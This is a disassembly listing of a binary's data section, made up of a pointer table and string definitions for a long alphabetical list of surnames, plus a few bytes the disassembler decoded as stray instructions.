		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
; ---------------------------------------------------------------------------
		xor	ah, ch
		inc	edx
		add	[esp+ebp*8], ah
		inc	edx
		add	[esp+ebp*8], bl
		inc	edx
		add	[esp+ebp*8], dl
		inc	edx
		add	[esp+ebp*8], cl
		inc	edx
		add	[esp+ebp*8], al
		inc	edx
		add	ah, bh
		jmp	short loc_42EC21
; ---------------------------------------------------------------------------
		align 10h
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EBE4o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EBE0o
		align 4
aZurn		db 'Zurn',0
		align 4
aZucconi	db 'Zucconi',0
aZoldak		db 'Zoldak',0
		align 4
aZerbini	db 'Zerbini',0
		dd 6167655Ah
		db 6Eh
; ---------------------------------------------------------------------------


loc_42EC21:				; CODE XREF: ___:0042EBDDj
		jnb	short $+2
		add	[edx+61h], bl
		outsb
		db	67h
		ja	near ptr 0EC93h
		insb
		insb
; ---------------------------------------------------------------------------
		dd 0
aZahedi		db 'Zahedi',0
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EBC0o
aYu		db 'Yu',0               ; DATA XREF: ___:0042EBBCo
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EBB8o
		align 10h
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EBB4o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EBB0o
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EBACo
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EBA8o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EBA4o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EBA0o
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042EB9Co
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EB98o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EB94o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EB90o
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EB8Co
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EB88o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EB84o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EB80o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EB7Co
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EB78o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EB74o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EB70o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EB6Co
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EB68o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EB64o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EB60o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EB5Co
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EB58o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EB54o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EB50o
		align 10h
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EB4Co
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EB48o
		align 10h
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EB44o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EB40o
		align 10h
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EB3Co
aViens		db 'Viens',0            ; DATA XREF: ___:0042EB38o
		align 10h
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EB34o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EB30o
aViano		db 'Viano',0            ; DATA XREF: ___:0042EB2Co
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042EB28o
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EB24o
		align 10h
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EB20o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042EB1Co
		align 10h
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EB18o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EB14o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EB10o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EB0Co
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EB08o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EB04o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EB00o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EAFCo
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EAF8o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EAF4o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EAF0o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EAECo
		align 10h
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EAE8o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EAE4o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EAE0o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EADCo
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EAD8o
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EAD4o
		align 10h
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EAD0o
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EACCo
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EAC8o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EAC4o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EAC0o
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EABCo
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EAB8o
		align 10h
aWales		db 'Wales',0            ; DATA XREF: ___:0042EAB4o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EAB0o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EAACo
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EAA8o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EAA4o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EAA0o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EA9Co
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EA98o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EA94o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042EA90o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042EA8Co
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042EA88o
		align 10h
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042EA84o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: ___:0042EA80o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042EA7Co
		align 4
aTurek		db 'Turek',0            ; DATA XREF: ___:0042EA78o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: ___:0042EA74o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042EA70o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042EA6Co
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042EA68o
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042EA64o
		align 10h
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042EA60o
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042EA5Co
aTruss		db 'Truss',0            ; DATA XREF: ___:0042EA58o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: ___:0042EA54o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042EA50o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042EA4Co
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042EA48o
		align 10h
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042EA44o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042EA40o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042EA3Co
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042EA38o
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042EA34o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042EA30o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042EA2Co
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042EA28o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042EA24o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042EA20o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042EA1Co
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042EA18o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042EA14o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042EA10o
aTill		db 'Till',0             ; DATA XREF: ___:0042EA0Co
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042EA08o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042EA04o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042EA00o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E9FCo
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E9F8o
		align 10h
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E9F4o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E9F0o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E9ECo
		align 10h
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E9E8o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E9E4o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E9E0o
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E9DCo
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E9D8o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E9D4o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E9D0o
		align 10h
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E9CCo
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E9C8o
		align 10h
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E9C4o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E9C0o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E9BCo
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E9B8o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E9B4o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E9B0o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E9ACo
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E9A8o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E9A4o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E9A0o
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E99Co
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E998o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E994o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E990o
		align 10h
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E98Co
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E988o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E984o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E980o
		align 10h
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E97Co
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E978o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E974o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E970o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E96Co
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042E968o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E964o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E960o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E95Co
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E958o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E954o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E950o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E94Co
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E948o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E944o
		align 10h
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E940o
		align 10h
aStang		db 'Stang',0            ; DATA XREF: ___:0042E93Co
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E938o
		align 10h
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E934o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E930o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E92Co
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E928o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E924o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E920o
		align 10h
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E91Co
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E918o
		align 10h
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E914o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E910o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E90Co
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E908o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E904o
		align 10h
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E900o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E8FCo
		align 10h
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E8F8o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E8F4o
		align 10h
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E8F0o
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E8ECo
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E8E8o
		align 10h
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E8E4o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E8E0o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E8DCo
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E8D8o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E8D4o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E8D0o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E8CCo
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E8C8o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E8C4o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E8C0o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042E8BCo
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E8B8o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E8B4o
		align 10h
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E8B0o
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E8ACo
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E8A8o
		align 10h
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E8A4o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E8A0o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E89Co
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E898o
		align 10h
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E894o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E890o
		align 10h
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E88Co
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E888o
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E884o
		align 10h
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E880o
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E87Co
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042E878o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E874o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E870o
aShar		db 'Shar',0             ; DATA XREF: ___:0042E86Co
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E868o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E864o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E860o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E85Co
		align 4
